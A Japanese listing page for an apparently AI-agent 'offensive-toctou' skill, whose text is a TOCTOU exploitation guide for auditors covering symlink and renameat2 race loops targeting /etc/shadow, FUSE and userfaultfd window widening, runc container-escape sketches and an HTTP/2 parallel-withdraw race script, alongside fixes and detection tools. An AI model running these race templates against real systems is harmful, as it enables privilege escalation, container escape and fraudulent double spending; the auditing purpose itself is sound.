mcpField
O
offensive-toctou

offensive-toctou

github.com/snailsploitセキュリティ9.7k176 回インストール2 週間前に更新
リポジトリ

offensive-toctou について

セキュリティ研究者やコード監査担当者向けの TOCTOU 攻撃ガイドです。ファイルシステム、カーネル、コンテナ、Web/API の競合と、競合窓の拡大、検出、報告方法を扱います。

主な機能

  1. 01チェックと使用の間の競合特定
  2. 02ファイルシステムと setuid の攻撃手法
  3. 03カーネルの二重取得と procfs の競合
  4. 04コンテナ脱出と Web/API の事例
  5. 05競合窓の拡大、検出、報告

活用シーン

  1. 01ユーザー指定パスを複数回解決するプログラムの監査
  2. 02クォータ、認可、長時間処理における競合のテスト
  3. 03コンテナランタイムのパスとファイル記述子のリスク分析

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/snailsploit/claude-red --skill offensive-toctou

インストール後、Claude Code で/offensive-toctouを入力して読み込まれたか確認します。

詳細

TOCTOU — 確認と使用の間の競合状態の悪用

コードがプロパティ(ファイルの所有者、パスの参照先、トークンの有効性、残高)を確認した後、そのプロパティがまだ有効であるかのように処理する箇所には、TOCTOU バグが存在します。確認と使用の間には隙があります。これを広げ、基盤となるオブジェクトを入れ替えるのが目的です。

クイックワークフロー

  1. 確認(システムコール、関数、検証ステップ)と使用(特権を伴う操作)を特定します
  2. 確認と使用が同じカーネルオブジェクト(FD、inode、アトミックなスナップショット)を対象としていないことを確認します
  3. 確認と使用の間にオブジェクトを入れ替える手段(シンボリックリンク、マウント、mv、並列リクエスト)を用意します
  4. FUSE、低速なファイルシステム、スケジューラーを利用した手法、単一パケットの HTTP/2 で隙を広げます
  5. 高速なループを実行し、使用後の状態が入れ替えた対象に対応していることを確認します

基本パターン

// Vulnerable
if (access(path, W_OK) == 0) {     // check  — resolves "path" now
    fd = open(path, O_WRONLY);     // use    — re-resolves "path" later
    write(fd, attacker_data, n);
}

access と open の間に、攻撃者が path を /etc/shadow を指すシンボリックリンクに置き換えます。確認では攻撃者が所有するファイルが見えますが、使用時には root として shadow を開きます。

修正方法は常に、パスではなくカーネルオブジェクトを操作することです。O_NOFOLLOW、AT_SYMLINK_NOFOLLOW を指定した openat、FD に対する fstat などを使用します。


ファイルシステムの TOCTOU

シンボリックリンクの入れ替え(定番)
# Setup target — privileged binary that writes to user-supplied path after access() check
victim --output /tmp/.attacker/output

# Race loop
while true; do
  ln -sf /etc/passwd /tmp/.attacker/output 2>/dev/null
  ln -sf /tmp/.attacker/legit /tmp/.attacker/output 2>/dev/null
done &

# Run victim repeatedly
while true; do victim --output /tmp/.attacker/output; done
renameat2(RENAME_EXCHANGE) — アトミックな単一フレームの入れ替え
syscall(SYS_renameat2, AT_FDCWD, "good", AT_FDCWD, "bad", RENAME_EXCHANGE);

RENAME_EXCHANGE は2つのパスをアトミックに入れ替えます。これに FUSE でディレクトリーの検索を一時停止する方法を組み合わせると、Linux ≥ 3.15 ではほぼ確実に成功する手段になります。

ディレクトリーの入れ替え(用意した2つのツリー間で mv)

被害対象が parent/file を解決するタイミングで、parent 自体を入れ替えます。

mv good_dir parent && mv evil_dir parent_was_good_dir
# If victim is mid-resolution of `parent/file`, dir cache may pin one side
バインドマウント/マウント名前空間の入れ替え(root のみ、またはユーザー名前空間内)
unshare -mUr
mkdir /tmp/x /tmp/y
echo benign > /tmp/x/file
mount --bind /etc/shadow /tmp/y/file
# Then: while true; do mount --move /tmp/x /tmp/m; mount --move /tmp/y /tmp/m; done

コンテナー化された環境で、ユーザー名前空間内の CAP_SYS_ADMIN を利用できる場合、これは複数の runc/CVE エスケープチェーンの基盤となります。


隙を広げる手段

理論上は常に競合に勝てますが、実際には入れ替えに十分な隙が必要です。

FUSE を利用した低速ファイルシステム

自分で制御する FUSE ファイルシステムをマウントします。被害対象が open または stat を呼び出したときに、ハンドラーをスリープさせます。

# fusepy
class SlowFS(Operations):
    def getattr(self, path, fh=None):
        if path == '/trigger':
            time.sleep(5)   # stretch the check
        return os.lstat(self.root + path).__dict__

これで被害対象内の確認呼び出しが5秒間ブロックします。確認後のファイル名を入れ替えるには十分な時間です。

Userfaultfd(カーネルレベルのページフォールト)
// Register a userfault region; when the victim reads the user-controlled buffer,
// pause it in the page-fault handler, swap data, then resume.
ioctl(uffd, UFFDIO_REGISTER, &reg);

userfaultfd を使うと、カーネル側の copy_from_user を読み取りの途中で一時停止でき、二重取得を利用した攻撃が可能になります。Linux ≥ 5.11 では vm.unprivileged_userfaultfd=1 が必要です(多くのディストリビューションではデフォルトで無効です)。

Cgroup のフリーズ
mkdir /sys/fs/cgroup/race
echo $victim_pid > /sys/fs/cgroup/race/cgroup.procs
echo 1 > /sys/fs/cgroup/race/cgroup.freeze   # pause
# swap files
echo 0 > /sys/fs/cgroup/race/cgroup.freeze   # resume
単一 CPU への固定と sched_yield
cpu_set_t set; CPU_ZERO(&set); CPU_SET(0, &set);
sched_setaffinity(victim_pid, sizeof(set), &set);
// Race threads on same CPU — context switch is the only progress unit

カーネルの二重取得

カーネル関数が同じユーザー空間の場所を2回読み込みます。攻撃者は userfaultfd または別のスレッドを使って、その間に値を変更します。

// Vulnerable kernel pattern
copy_from_user(&size, &user_arg->size, 4);   // first fetch
if (size > MAX) return -EINVAL;
copy_from_user(buf, user_arg->data, size);   // size re-fetched? Or from local? Check carefully.

ツール:KFENCE、Bochspwn-Reloaded、DECAF — 二重取得を検出するファザーおよびアナライザーです。


/proc と procfs の競合

/proc/pid/exe と ptrace

/proc/<pid>/exe はマジックシンボリックリンクです。特権バイナリーが fork+exec の後にこれを開く場合、攻撃者は exec を競合させて、低速なファイルシステム上にある攻撃者が制御するバイナリーを exe に指させることができます。CVE-2019-5736(runc)の基盤となった手法です。

// Sketch
fd = open("/proc/self/exe", O_RDONLY);  // by attacker, in container
// Then the host runc opens /proc/<pid>/exe to write — opens *attacker's* exe → host RCE
/proc/pid/mem

歴史的には、open("/proc/pid/mem") の後に lseek+write を実行すると、書き込み保護を回避できました。現在のカーネルでは書き込み時に ptrace の認証情報が確認されますが、レガシーなカーネルやチェックが削除されたカーネルは、組み込みカーネルに今も存在します。

/proc/pid/cwd / fd / root

シンボリックリンクは、参照解除時に対象タスクの名前空間を使って解決されます。兄弟コンテナーから /proc/pid/root/etc/shadow を名前空間をまたいで参照解除する問題は、繰り返し見られる脆弱性の種類です。


setuid バイナリーの TOCTOU

// Vulnerable flow in classic SUID binary
if (!access(file, R_OK)) {       // check with real UID via access()
    fd = open(file, O_RDONLY);   // open with effective UID = root
    sendfile(stdout, fd, ...);
}

access と open の間にシンボリックリンクを入れ替えると、バイナリーに非特権ユーザー向けの処理として、root のみ読み取り可能なファイルを読み込ませることができます。

setuid/setgid バイナリーをレビューする際の経験則: システムコールのトレースに2回現れるパスは、すべて候補です。

strace -f -e openat,access,stat,lstat,readlink ./suid_binary 2>&1 | grep "$user_input"
# Multiple resolutions of the same user-controlled path = TOCTOU surface

TOCTOU によるコンテナーエスケープ

CVE-2019-5736 (runc) — /proc/self/exe の上書き

コンテナが docker exec を実行すると、runc はホストから /proc/self/exe を開きます。コンテナ内のバイナリを /proc/self/exe へのシンボリックリンクに置き換えることで、ホストの runc が自身を書き換えてしまいます。

CVE-2024-21626 (runc「Leaky Vessels」) — 作業ディレクトリの FD リーク

ホストのファイルシステムへのリークしたファイルディスクリプタが、WORKDIR /proc/self/fd/<n> を介して継承される可能性がありました。コンテナの最初のプロセスがホストの FD を保持し、名前空間のセットアップにおける競合により、ホストのパスに対して操作を行える状態でした。

マウント時のシンボリックリンク競合

ランタイムがバインドマウントのソース/ターゲットパスを解決する際 (たとえば tmpfs のセットアップ時)、攻撃者が高速にパス内のディレクトリを / へのシンボリックリンクと入れ替えます。Kubernetes の hostPath、Docker ボリューム、OpenShift の SCC バイパスなどでよく見られます。


Web / API の TOCTOU

ゲートウェイにおける認証と認可の分離
Gateway: validates JWT (signature, exp) → forwards to service
Service: trusts gateway's "X-User-Id" header

ゲートウェイのキャッシュとゲートウェイの検証の間で JWT が失効した場合、またはゲートウェイが「有効」という結果を長すぎる期間キャッシュした場合、失効後のアクセスが発生します。キャッシュキーの混同 (異なるゲートウェイノード) により、このウィンドウが広がります。

長時間実行アクションで権限の再チェックがスキップされる
# Vulnerable
def long_export(user, resource_id):
    check_access(user, resource_id)        # check
    data = stream_resource(resource_id)    # use — minutes long
    return data                            # access could have been revoked mid-stream

テスト方法: ダウンロードの途中でアクセス権を取り消し、データが流れ続ける場合は再チェックが欠落しています。

異なるボディでの Idempotency-Key の再利用
POST /api/withdraw  Idempotency-Key: K1  { "amount": 1 }
POST /api/withdraw  Idempotency-Key: K1  { "amount": 1000 }   # Same key, different body

多くの実装ではキーのみをキーとし、キー+ボディハッシュをキーとしていません → 2 番目のリクエストは 2 番目のデビットを処理しつつ、1 番目のレスポンスを返します。

単一パケットによる複数リクエスト
HTTP/2: hold N requests' DATA frames, send all END_STREAM in one TCP segment.
Server schedules N handlers concurrently with sub-millisecond skew → reliable race wins.
Tool: Burp Repeater "Send group in parallel (single-packet)".

これは 2023 年以降、Web の TOCTOU における標準的なプリミティブです。従来の httpie ... & による並列化は時代遅れです。

制限 / クォータの TOCTOU
# Vulnerable
if user.balance >= amount:    # check
    user.balance -= amount    # use — non-atomic read-modify-write
    pay(user, amount)

N 個の並列リクエストを送信すると、それぞれがデクリメント前の同じ残高を参照します。修正方法: 制約付きのアトミックなデクリメント (UPDATE ... WHERE balance >= amount)。


モバイル / バイナリのクックブック

Android: Intent リダイレクトの TOCTOU

Activity は getCallingPackage() で呼び出し元パッケージをチェックしてから Intent でディスパッチしますが、チェックとディスパッチの間に、攻撃者が基盤となる ContentProvider URI の authority 解決をすり替えます。

iOS: NSXPC の audit token 混同

audit_token_t は各 XPC メッセージ処理の開始時にキャプチャすべきです。サービスが一度キャプチャして再利用すると、攻撃者は PID の再利用を競合させてなりすますことができます。


検出とツール

ツールレイヤー用途
strace -e trace=file -fLinux システムコール重複したパス解決の検出
bpftrace / bccカーネル特定のシステムコールの引数を大規模にプローブ
ThreadSanitizer (TSan)ユーザー空間 C/C++コンパイル時の競合検出
Helgrind / DRDユーザー空間Pthread の競合検出
Bochspwn-Reloadedカーネルダブルフェッチの検出
syzkallerカーネルカバレッジガイド付き競合ファジング
Burp Suite (Repeater 単一パケット)Web/HTTP同時リクエストの競合
racepwnWebマルチスレッド + タイミングハーネス
Turbo IntruderWebパイプライン化された並列リクエスト
# Quick filesystem TOCTOU finder against a binary
strace -f -e trace=file ./target 2>&1 | \
  awk -F'"' '/access|stat|lstat|open|readlink/ {print $2}' | \
  sort | uniq -c | sort -rn | head
# Paths appearing N>1 times → TOCTOU candidates

競合ループのテンプレート

ファイルシステム (C)
#include <sys/syscall.h>
#include <linux/fs.h>
int main() {
    pid_t p = fork();
    if (!p) { for(;;) syscall(SYS_renameat2, -100,"a",-100,"b",RENAME_EXCHANGE); }
    for(;;) execve(victim, args, env);
}
Web (Python — 単一パケット HTTP/2)
# Use httpx or h2 directly; pyburp or turbo-intruder for production
import httpx, anyio
async def race():
    async with httpx.AsyncClient(http2=True) as c:
        async with anyio.create_task_group() as tg:
            for _ in range(30):
                tg.start_soon(c.post, "https://app/withdraw", json={"amount": 100})
anyio.run(race)

TLS で真に信頼性を求めるなら、Burp の単一パケット機能を優先してください。これは HTTP/2 のラストバイト同期を組み立てます。


報告 / 深刻度

TOCTOU の所見の深刻度は、ウィンドウのサイズ (決定的か確率的か)、必要な隣接性 (ローカルユーザー / コンテナ / 認証済みリモート)、および使用後のプリミティブ (ファイル書き込み、認証バイパス、金銭) に基づきます。「1 万分の 1 の確率で root を奪える競合」は、ウィンドウを広げるプリミティブと連鎖させれば、「決定的に root を奪える競合」と同じ所見です。常に次のことを実証してください:

  1. 最小の再現手順
  2. 使用したウィンドウ拡大手法
  3. 観測された成功率
  4. 達成された悪用後のプリミティブ

主要な参考文献

  • MITRE CWE-367 (TOCTOU)、CWE-362 (競合状態)
  • USENIX Security: 「FUSE for Profit」 — TOCTOU のウィンドウ拡大
  • PortSwigger Research: 「Smashing the state machine」 (単一パケット HTTP/2 攻撃)
  • runc CVE-2019-5736、CVE-2024-21626 のアドバイザリ
  • 出典: https://github.com/SnailSploit/offensive-checklist/blob/main/toctou.md

コメント